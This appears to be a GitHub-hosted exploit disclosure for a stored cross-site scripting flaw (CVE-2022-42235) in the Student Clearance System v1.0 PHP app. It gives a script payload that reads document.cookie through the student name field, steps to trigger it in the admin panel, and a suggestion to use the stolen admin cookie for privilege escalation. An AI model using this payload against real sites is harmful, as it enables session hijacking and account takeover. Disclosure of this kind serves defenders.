Skip to content
Permalink
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time
# Exploit Title: Student Clearance System - Stored XSS
# Exploit Author: Pratik Shetty
# Vendor Name: beedyboy
# Vendor Homepage: https://www.sourcecodester.com/php/13341/student-clearance-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=13341&title=Student+Clearance+System+using+PHP%2FPDO+with+Source+Code
# Version: v1.0
# Tested on: Parrot GNU/Linux 4.10, Apache
# CVE: CVE-2022-42235
Description:-
A Stored XSS issue in Student Clearance System v.1.0 allows to inject Arbitrary JavaScript in Student registration form.
`
Payload used:-
<script>confirm (document.cookie)</script>
`
Parameter":-
Full Name: <script>confirm (document.cookie)</script>
`
Steps to reproduce:-
1. Go to http://victim.com/clearance/admin/students.php
2. In that go to "Students" panel where you can add new student, and put your payload in "First Name"
3. Now fill the other details and save it.
4. Goto admin panel click students, you can see our xss payload was triggered
5. We can use Admin cookie to escalate our privilege.